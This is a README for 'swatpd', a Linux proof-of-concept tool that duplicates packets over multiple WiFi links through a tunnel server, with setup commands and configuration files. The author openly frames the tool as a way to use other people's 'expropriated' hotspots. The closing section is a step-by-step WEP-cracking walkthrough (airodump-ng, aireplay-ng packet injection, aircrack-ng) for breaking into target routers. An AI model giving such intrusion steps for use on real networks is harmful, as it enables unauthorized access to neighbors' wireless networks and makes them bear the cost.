| Author: | Justine Tunney |
|---|---|
| Version: | 0.1 pre-alpha |
| Platform: | Linux |
| Copyright: |
|
| License: | GNU AGPL 3 or later |
| Disclaimer: | This program is a proof of concept |
So you've expropriated every wireless network in your area, the only problem is none of them work reliably... but what if you could use two (or more) wireless hotspots simultaneously? That way if one link starts being unreliable or stops working, your internet will still operate smoothly.
swatpd raids your internet connections together like they're hard drives. It works by tunneling your traffic to an external swatp server, which then forwards it to the internet. Tunnel traffic is duplicated onto each of your wireless cards on a per-packet basis. Whichever packet reaches the swatp server first wins, and duplicates are discarded. It's like having your own multi-homed BGP router except with proactive, rather than reactive, reliability.
I created this program because I got frustrated with my internet cutting out periodically for a few seconds at a time while while raiding in World of Warcraft when my neighbor decides to download porn. I could have just started paying for an internet connection, but fuck Comcast and Verizon.
What does it mean?
Packet loss will decrease significantly.
Downloads won't go any faster.
Latency will increase because your packets need to bounce off the swatp server.
For me this was about an extra 40ms round-trip time (how long it takes to ping my server) but in practice probably more like 30ms because the datacenter in which my server hosted has faster routes to most places than the local ISPs.
Your IP address will be different since traffic is being bounced off the remote tunnel endpoint.
Another way to accomplish "double internet" is to use iptables mark-based routing that randomly delegates tcp/udp streams to specific routing tables configured to use separate internet connections along with a script that monitors latency on each link to periodically adjust marking probability. The only problem with this is that I'm forced to reconnect to WoW if one of the links goes down... or if both links are sorta crappy, I'm still screwed.
A Linux machine
Two or more WiFi cards, each connected to different hotspots.
It's best if you configure each router to be on different channels to minimize interference. Channels 1, 6, 11, and 14 do not interfere with each other. It also helps to use 802.11a (instead of b/g/n) because it's less prone to interference.
Somewhere to run the remote swatp endpoint.
A dedicated server or VPS will do the trick. If you have a friend with a fast, reliable internet connection and a Linux router, that will work too. Most importantly, you want the server to be geographically close to where you live as to minimize any additional latency.
You need to forward port 31337 on each wireless router.
If both wireless routers use the same subnet (192.168.0.0/24) this could potentially cause problems. The simplest way to address this problem is to configure the router to put your computer in the DMZ.
Here's a setup with two wifi cards. Both wireless routers were configured to make "compy" the DMZ host (which means the router's DHCP server assigns compy a public IP.)
Here's a diagram:
24.1.1.10:31337 ================================== /\ || || wlan0 \/ +---------+ tun0 tun0 +----------+ eth0 | compy |- - - - - - - - - - - -| server | 6.6.6.6:31337 ==> INTERNET +---------+ 10.4.4.2 10.4.4.1 +----------+ || wlan1 /\ \/ || 24.2.2.20:31337 ==================================
Run the following commands on server as root:
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
swatpd reliable 10.4.4.1/24 31337 \
eth0 24.1.1.10 31337 \
eth0 24.2.2.20 31337
Run the following commands on compy as root:
swatpd reliable 10.4.4.2/24 31337 \
wlan0 6.6.6.6 31337 \
wlan1 6.6.6.6 31337
ip route change default via 10.4.4.1
for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
echo 0 > $f
done
This is compy's /etc/network/interfaces file:
auto lo
iface lo inet loopback
auto wlan0
iface wlan0 inet dhcp
wireless-essid dd-wrt
wireless-key restricted DEADBEEF66
auto wlan1
iface wlan1 inet dhcp
wireless-essid linksys
If you want downloads to go fast try using "fast" instead of "reliable" in the swatpd command. This will round-robin load balance packets across your connections. This might not be a good idea if your internet connections are the least bit unreliable.
You'll probably want to configure dhcpcd to use OpenDNS to avoid both routers fighting over who gets to be the DNS server:
echo 'prepend domain-name-servers 208.67.222.222;' \
>>/etc/dhcp3/dhclient.conf
If you're using Ubuntu, the network manager will ruin everything. You
should configure /etc/network/interfaces similar to what's in the
example section and then run the following commands:
/etc/init.d/network-manager stop /etc/init.d/avahi-daemon stop /etc/init.d/networking restart
- Shared-secret encryption
- Eliminate requirement for port forwarding
- Create a mode for faster internet that stripes packets across multiple wifi links rather than duplicating them. For instance, right now we only support RAID1, we also want RAID0 and RAID5.
- IPv6 support
Burn the latest Backtrack Linux ISO and buy an Alfa AWUS036H wireless card. Boot Backtrack with the wireless card and follow these instructions.
Let's look for WEP routers on channel 6 to target:
airmon-ng start wlan0 6 airodump-ng -c 6 -t WEP -w output_wep wlan0
Authenticate to target in second terminal window:
aireplay-ng -1 6000 -o 1 -q 10 -h <TARGET_MAC> -e <TARGET_SSID> wlan0
Inject packets in third terminal window:
aireplay-ng -3 -h <TARGET_MAC> -e <TARGET_SSID> wlan0
Wait for first terminal window to collect 30,000 packets. Stop programs in all three terminals and run:
aircrack-ng -b <TARGET_MAC> output_wep*.cap